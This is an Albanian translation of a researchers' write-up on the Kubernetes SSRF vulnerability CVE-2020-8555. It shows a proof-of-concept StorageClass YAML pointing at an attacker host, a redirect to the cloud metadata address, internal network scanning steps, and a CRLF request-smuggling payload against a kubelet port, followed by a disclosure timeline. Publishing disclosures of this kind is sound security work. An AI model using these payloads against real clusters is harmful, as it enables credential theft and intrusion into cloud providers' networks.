Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Shënim. përkth.: autorët e këtij artikulli flasin në detaje se si arritën të zbulojnë cenueshmërinë CVE-2020–8555 në Kubernetes. Edhe pse fillimisht nuk dukej shumë i rrezikshëm, në kombinim me faktorë të tjerë kritikiteti i tij rezultoi maksimal për disa ofrues të cloud. Disa organizata i shpërblyen me bujari specialistët për punën e tyre.

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Kush jemi ne

Ne jemi dy studiues francezë të sigurisë që së bashku zbuluan një dobësi në Kubernetes. Emrat tanë janë Brice Augras dhe Christophe Hauquiert, por në shumë platforma Bug Bounty ne jemi të njohur si Reeverzax dhe Hach respektivisht:

Cfare ndodhi?

Ky artikull është mënyra jonë për të ndarë se si një projekt i zakonshëm kërkimor u shndërrua papritur në aventurën më emocionuese në jetën e gjuetarëve të insekteve (të paktën tani për tani).

Siç e dini ndoshta, gjuetarët e insekteve kanë disa veçori të dukshme:

  • ata jetojnë me pica dhe birrë;
  • ata punojnë kur të gjithë të tjerët janë në gjumë.

Ne nuk bëjmë përjashtim nga këto rregulla: zakonisht takohemi në fundjavë dhe kalojmë netë pa gjumë duke hakeruar. Por një nga këto netë përfundoi në një mënyrë shumë të pazakontë.

Fillimisht do të takoheshim për të diskutuar pjesëmarrjen në CTF diten tjeter. Gjatë një bisede rreth sigurisë së Kubernetes në një mjedis shërbimi të menaxhuar, ne kujtuam idenë e vjetër të SSRF (Falsifikim i kërkesës nga ana e serverit) dhe vendosi të provonte ta përdorte atë si një skenar sulmi.

Në orën 11 u ulëm për të bërë kërkimin tonë dhe shkuam në shtrat herët në mëngjes, shumë të kënaqur me rezultatet. Ishte për shkak të këtij hulumtimi që ne hasëm në programin MSRC Bug Bounty dhe dolëm me një shfrytëzim të përshkallëzimit të privilegjit.

Kaluan disa javë/muaj dhe rezultati ynë i papritur rezultoi në një nga shpërblimet më të larta në historinë e Azure Cloud Bug Bounty - përveç atij që morëm nga Kubernetes!

Bazuar në projektin tonë kërkimor, Komiteti i Sigurisë së Produkteve Kubernetes publikoi CVE-2020–8555.

Tani do të doja të shpërndaja sa më shumë informacion në lidhje me cenueshmërinë e gjetur. Shpresojmë ta vlerësoni gjetjen dhe t'i ndani detajet teknike me anëtarët e tjerë të komunitetit infosec!

Pra, këtu është historia jonë ...

Kontekst

Për të kuptuar sa më shumë atë që ndodhi, le të shohim fillimisht se si funksionon Kubernetes në një mjedis të menaxhuar me renë kompjuterike.

Kur krijoni një grup Kubernetes në një mjedis të tillë, shtresa e menaxhimit është zakonisht përgjegjësi e ofruesit të cloud:

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...
Shtresa e kontrollit ndodhet në perimetrin e ofruesit të resë kompjuterike, ndërsa nyjet Kubernetes janë të vendosura në perimetrin e klientit

Për të shpërndarë në mënyrë dinamike vëllimet, përdoret një mekanizëm për t'i siguruar ato në mënyrë dinamike nga një ruajtje e jashtme dhe për t'i krahasuar me PVC (pretendimi i vazhdueshëm i vëllimit, d.m.th. një kërkesë për një vëllim).

Kështu, pasi PVC të krijohet dhe të lidhet me StorageClass në grupin K8s, veprimet e mëtejshme për të siguruar volumin merren nga menaxheri i kontrolluesit kube/cloud (emri i saktë i tij varet nga lëshimi). (Shënim. përkth.: Ne kemi shkruar tashmë më shumë për CCM duke përdorur shembullin e zbatimit të tij për një nga ofruesit e cloud këtu.)

Ka disa lloje ofruesish të mbështetur nga Kubernetes: shumica e tyre përfshihen në bërthamë orkestruese, ndërsa të tjerat menaxhohen nga ofrues shtesë që vendosen në grupe në grup.

Në kërkimin tonë, ne u fokusuam në mekanizmin e brendshëm të sigurimit të vëllimit, i cili ilustrohet më poshtë:

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...
Sigurimi dinamik i vëllimeve duke përdorur ofruesin e integruar Kubernetes

Shkurtimisht, kur Kubernetes vendoset në një mjedis të menaxhuar, menaxheri i kontrolluesit është përgjegjësi e ofruesit të cloud, por kërkesa për krijimin e vëllimit (numri 3 në diagramin e mësipërm) largohet nga rrjeti i brendshëm i ofruesit të cloud. Dhe këtu gjërat bëhen vërtet interesante!

Skenari i hakimit

Në këtë seksion, ne do të shpjegojmë se si kemi përfituar nga fluksi i punës i përmendur më sipër dhe kemi aksesuar burimet e brendshme të ofruesit të shërbimit cloud. Ai gjithashtu do t'ju tregojë se si mund të kryeni veprime të caktuara, të tilla si marrja e kredencialeve të brendshme ose përshkallëzimi i privilegjeve.

Një manipulim i thjeshtë (në këtë rast, Falsifikimi i Kërkesës së Shërbimit) ndihmoi për të shkuar përtej mjedisit të klientit në grupe ofruesish të ndryshëm shërbimesh nën K8 të menaxhuara.

Në kërkimin tonë ne u fokusuam në ofruesin e GlusterFS. Pavarësisht nga fakti se sekuenca e mëtejshme e veprimeve përshkruhet në këtë kontekst, Quobyte, StorageOS dhe ScaleIO janë të ndjeshëm ndaj të njëjtit cenueshmëri.

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...
Abuzimi i mekanizmit dinamik të sigurimit të vëllimit

Gjatë analizës së klasës së ruajtjes GlusterFS në kodin burimor të klientit Golang ne perimeqë në kërkesën e parë HTTP (3) të dërguar gjatë krijimit të vëllimit, deri në fund të URL-së së personalizuar në parametër resturl shtuar /volumes.

Ne vendosëm të heqim qafe këtë shteg shtesë duke shtuar # në parametër resturl. Këtu është konfigurimi i parë YAML që kemi përdorur për të testuar për një cenueshmëri gjysmë të verbër SSRF (mund të lexoni më shumë rreth SSRF gjysmë të verbër ose gjysmë të verbër, për shembull, këtu - përafërsisht. përkth.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Pastaj ne përdorëm binarin për të menaxhuar në distancë grupin Kubernetes kubectl. Në mënyrë tipike, ofruesit e reve kompjuterike (Azure, Google, AWS, etj.) ju lejojnë të merrni kredencialet për përdorim në këtë mjet.

Falë kësaj, unë munda të përdor skedarin tim "të veçantë". Kube-controller-manager ekzekutoi kërkesën që rezulton HTTP:

kubectl create -f sc-poc.yaml

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...
Përgjigja nga këndvështrimi i sulmuesit

Menjëherë pas kësaj, ne ishim gjithashtu në gjendje të merrnim një përgjigje HTTP nga serveri i synuar - nëpërmjet komandave describe pvc ose get events në kubectl. Dhe me të vërtetë: ky drejtues i parazgjedhur i Kubernetes është shumë i folur në paralajmërimet/mesazhet e gabimit...

Këtu është një shembull me një lidhje me https://www.google.frvendosur si parametër resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Në këtë qasje, ne ishim të kufizuar në pyetje si HTTP POST dhe nuk mund të merrte përmbajtjen e trupit të përgjigjes nëse ishte kodi i kthimit 201. Prandaj, vendosëm të kryenim kërkime shtesë dhe zgjeruam këtë skenar hakerimi me qasje të reja.

Evolucioni i kërkimit tonë

  • Skenari i avancuar #1: Përdorimi i një ridrejtimi 302 nga një server i jashtëm për të ndryshuar metodën HTTP për të ofruar një mënyrë më fleksibël për të mbledhur të dhëna të brendshme.
  • Skenari i avancuar #2: Automatizoni skanimin e LAN dhe zbulimin e burimeve të brendshme.
  • Skenari i avancuar #3: përdorimi i HTTP CRLF + kontrabandë ("kërkesë kontrabandë") për të krijuar kërkesa të përshtatura HTTP dhe për të marrë të dhëna të nxjerra nga regjistrat e kontrolluesit kube.

Технические specifikime

  • Hulumtimi përdori Shërbimin Azure Kubernetes (AKS) me versionin 1.12 të Kubernetes në rajonin e Evropës Veriore.
  • Skenarët e përshkruar më sipër u ekzekutuan në versionet më të fundit të Kubernetes, me përjashtim të skenarit të tretë, sepse ai kishte nevojë për Kubernetes të ndërtuar me versionin Golang ≤ 1.12.
  • Serveri i jashtëm i sulmuesit - https://attacker.com.

Skenari i avancuar #1: Ridrejtimi i një kërkese HTTP POST në GET dhe marrja e të dhënave të ndjeshme

Metoda origjinale u përmirësua nga konfigurimi i serverit të sulmuesit për t'u kthyer 302 Rekodi HTTPpër të kthyer një kërkesë POST në një kërkesë GET (hapi 4 në diagram):

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Kërkesa e parë (3) e ardhur nga klienti GlusterFS (Menaxheri i Kontrolluesit), ka një lloj POST. Duke ndjekur këto hapa, ne ishim në gjendje ta kthenim atë në një GET:

  • Si parametër resturl në StorageClass tregohet http://attacker.com/redirect.php.
  • Pika e fundit https://attacker.com/redirect.php përgjigjet me një kod statusi HTTP 302 me titullin e mëposhtëm të vendndodhjes: http://169.254.169.254. Ky mund të jetë çdo burim tjetër i brendshëm - në këtë rast, lidhja e ridrejtimit përdoret vetëm si shembull.
  • By default biblioteka net/http Golang ridrejton kërkesën dhe konverton POST në një GET me një kod statusi 302, duke rezultuar në një kërkesë HTTP GET në burimin e synuar.

Për të lexuar trupin e përgjigjes HTTP duhet të bëni describe Objekti PVC:

kubectl describe pvc xxx

Këtu është një shembull i një përgjigjeje HTTP në formatin JSON që ne mundëm të merrnim:

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Aftësitë e cenueshmërisë së gjetur në atë kohë ishin të kufizuara për shkak të pikave të mëposhtme:

  • Pamundësia për të futur titujt HTTP në kërkesën dalëse.
  • Pamundësia për të kryer një kërkesë POST me parametra në trup (kjo është e përshtatshme për të kërkuar vlerën kryesore nga një shembull etcd që funksionon në 2379 port nëse përdoret HTTP i pakriptuar).
  • Pamundësia për të marrë përmbajtjen e trupit të përgjigjes kur kodi i statusit ishte 200 dhe përgjigja nuk kishte një lloj përmbajtjeje JSON.

Skenari i avancuar #2: Skanimi i rrjetit lokal

Kjo metodë gjysmë e verbër SSRF u përdor më pas për të skanuar rrjetin e brendshëm të ofruesit të resë kompjuterike dhe për të anketuar shërbime të ndryshme dëgjimi (shembull metadata, Kubelet, etj., etj.) bazuar në përgjigjet kontrollues kube.

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Së pari, u përcaktuan portat standarde të dëgjimit të përbërësve të Kubernetes (8443, 10250, 10251, etj.), Dhe më pas na u desh të automatizonim procesin e skanimit.

Duke parë që kjo metodë e skanimit të burimeve është shumë specifike dhe nuk është e përputhshme me skanerët klasikë dhe mjetet SSRF, vendosëm të krijojmë punëtorët tanë në një skript bash që automatizon të gjithë procesin.

Për shembull, për të skanuar shpejt diapazonin 172.16.0.0/12 të rrjetit të brendshëm, 15 punëtorë u nisën paralelisht. Gama e mësipërme e IP-së është zgjedhur vetëm si shembull dhe mund të jetë subjekt i ndryshimit në diapazonin e IP-së të ofruesit tuaj të shërbimit specifik.

Për të skanuar një adresë IP dhe një port, duhet të bëni sa më poshtë:

  • fshini StorageClass-in e fundit të kontrolluar;
  • hiqni pretendimin e mëparshëm të verifikuar të vëllimit të vazhdueshëm;
  • ndryshoni vlerat IP dhe Porta në sc.yaml;
  • krijoni një StorageClass me një IP dhe port të ri;
  • krijoni një PVC të re;
  • ekstraktoni rezultatet e skanimit duke përdorur describe për PVC.

Skenari i avancuar #3: injeksion CRLF + kontrabandë HTTP në versionet "të vjetra" të grupit Kubernetes

Nëse përveç kësaj, ofruesi u ofron klientëve versione të vjetra të grupit K8s и u dha atyre akses në regjistrat e kube-controller-manager, efekti u bë edhe më domethënës.

Është me të vërtetë shumë më e përshtatshme për një sulmues të ndryshojë kërkesat HTTP të dizajnuara për të marrë një përgjigje të plotë HTTP sipas gjykimit të tij.

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Për të zbatuar skenarin e fundit, duhet të plotësohen kushtet e mëposhtme:

  • Përdoruesi duhet të ketë akses në regjistrat kube-controller-manager (si, për shembull, në Azure LogInsights).
  • Grupi Kubernetes duhet të përdorë një version të Golang më të ulët se 1.12.

Ne vendosëm një mjedis lokal që simulonte komunikimin midis klientit GlusterFS Go dhe një serveri të synuar të rremë (për momentin do të përmbahemi nga publikimi i PoC).

U gjet cenueshmëria, duke prekur versionet Golang më të ulët se 1.12 dhe duke lejuar hakerat të kryejnë sulme të kontrabandës HTTP/CRLF.

Duke kombinuar SSRF gjysmë të verbër të përshkruar më sipër вместе me këtë, ne ishim në gjendje të dërgonim kërkesa sipas dëshirës sonë, duke përfshirë zëvendësimin e titujve, metodën HTTP, parametrat dhe të dhënat, të cilat kube-controller-manager i përpunoi më pas.

Këtu është një shembull i një "karremi" të punës në një parametër resturl StorageClass, i cili zbaton një skenar të ngjashëm sulmi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezultati është një gabim përgjigje e pakërkuar, një mesazh për të cilin regjistrohet në regjistrat e kontrolluesit. Falë fjalës së aktivizuar si parazgjedhje, aty ruhen edhe përmbajtja e mesazhit të përgjigjes HTTP.

Kur nuk bëhet fjalë vetëm për dobësitë e Kubernetes...

Ky ishte “karremi” ynë më efektiv në kuadrin e vërtetimit të konceptit.

Duke përdorur këtë qasje, ne ishim në gjendje të kryenim disa nga sulmet e mëposhtme në grupimet e ofruesve të ndryshëm të menaxhuar të k8s: përshkallëzimi i privilegjive me kredencialet në instancat e meta të dhënave, Master DoS nëpërmjet kërkesave HTTP (të pakriptuara) në instancat master etj., etj.

Последствия

Në deklaratën zyrtare të Kubernetes në lidhje me cenueshmërinë SSRF që zbuluam, ajo u vlerësua CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Nëse marrim parasysh vetëm cenueshmërinë e lidhur me perimetrin e Kubernetes, vektorin e integritetit (vektori i integritetit) kualifikohet si Asnje.

Megjithatë, vlerësimi i pasojave të mundshme në kontekstin e një mjedisi shërbimi të menaxhuar (dhe kjo ishte pjesa më interesante e kërkimit tonë!) na shtyu të riklasifikonim cenueshmërinë në një vlerësim CVSS kritike 10/10 për shumë shpërndarës.

Më poshtë ka informacion shtesë për t'ju ndihmuar të kuptoni konsideratat tona kur vlerësoni ndikimet e mundshme në mjediset cloud:

ndershmëri

  • Ekzekutoni komandat nga distanca duke përdorur kredencialet e brendshme të fituara.
  • Riprodhimi i skenarit të mësipërm duke përdorur metodën IDOR (Referenca e Objekteve të Pasigurta Direkte) me burime të tjera që gjenden në rrjetin lokal.

Konfidencialiteti

  • Lloji i sulmit Lëvizja anësore falë vjedhjes së kredencialeve të resë kompjuterike (për shembull, API metadata).
  • Mbledhja e informacionit duke skanuar rrjetin lokal (përcaktimi i versionit SSH, versioni i serverit HTTP, ...).
  • Mblidhni informacione të shembullit dhe infrastrukturës duke anketuar API-të e brendshme si API-ja e meta të dhënave (http://169.254.169.254,…).
  • Vjedhja e të dhënave të klientit duke përdorur kredencialet e cloud.

disponueshmëri

Të gjithë skenarët e shfrytëzimit që lidhen me vektorët e sulmit integriteti, mund të përdoret për veprime destruktive dhe të çojë në mungesën e disponueshmërisë së rasteve kryesore nga perimetri i klientit (ose ndonjë tjetër).

Meqenëse ishim në një mjedis të menaxhuar të K8 dhe vlerësonim ndikimin në integritet, mund të imagjinojmë shumë skenarë që mund të ndikojnë në disponueshmërinë. Shembuj të tjerë përfshijnë korruptimin e bazës së të dhënave etcd ose kryerjen e një thirrjeje kritike në Kubernetes API.

kronologji

  • 6 dhjetor 2019: Dobësia e raportuar te MSRC Bug Bounty.
  • 3 janar 2020: Një palë e tretë informoi zhvilluesit e Kubernetes se ne po punonim për një çështje sigurie. Dhe u kërkoi atyre të konsideronin SSRF si një cenueshmëri të brendshme (në thelb). Më pas kemi dhënë një raport të përgjithshëm me detaje teknike rreth burimit të problemit.
  • 15 janar 2020: Ne siguruam raporte teknike dhe të përgjithshme zhvilluesve të Kubernetes me kërkesën e tyre (nëpërmjet platformës HackerOne).
  • 15 janar 2020: Zhvilluesit e Kubernetes na njoftuan se injeksioni gjysmë i verbër SSRF + CRLF për lëshimet e kaluara konsiderohet një cenueshmëri e brendshme. Ne ndaluam menjëherë analizimin e perimetrit të ofruesve të tjerë të shërbimeve: ekipi i K8s tani po merrej me shkakun rrënjësor.
  • 15 janar 2020: Shpërblimi MSRC i marrë përmes HackerOne.
  • 16 janar 2020: Kubernetes PSC (Komiteti i Sigurisë së Produkteve) njohu cenueshmërinë dhe kërkoi ta mbante atë të fshehtë deri në mes të marsit për shkak të numrit të madh të viktimave të mundshme.
  • 11 shkurt 2020: Është marrë shpërblimi i Google VRP.
  • 4 Mars 2020: Shpërblimi Kubernetes u mor përmes HackerOne.
  • 15 Mars 2020: Zbulimi publik i planifikuar fillimisht u shty për shkak të situatës COVID-19.
  • 1 qershor 2020: Deklaratë e përbashkët Kubernetes + Microsoft në lidhje me cenueshmërinë.

TL; DR

  • Ne pimë birrë dhe hamë pica :)
  • Ne zbuluam një cenueshmëri të brendshme në Kubernetes, megjithëse nuk kishim ndërmend ta bënim këtë.
  • Ne kryem analiza shtesë në grupet e ofruesve të ndryshëm të cloud dhe mundëm të rrisnim dëmin e shkaktuar nga dobësia për të marrë bonuse shtesë të jashtëzakonshme.
  • Në këtë artikull do të gjeni shumë detaje teknike. Do të ishim të lumtur t'i diskutonim me ju (Twitter: @ReeverZax & @__hach_).
  • Doli se të gjitha llojet e formaliteteve dhe raportimeve zgjatën shumë më tepër sesa pritej.

Referencat

PS nga përkthyesi

Lexoni edhe në blogun tonë:

Burimi: www.habr.com

Shto një koment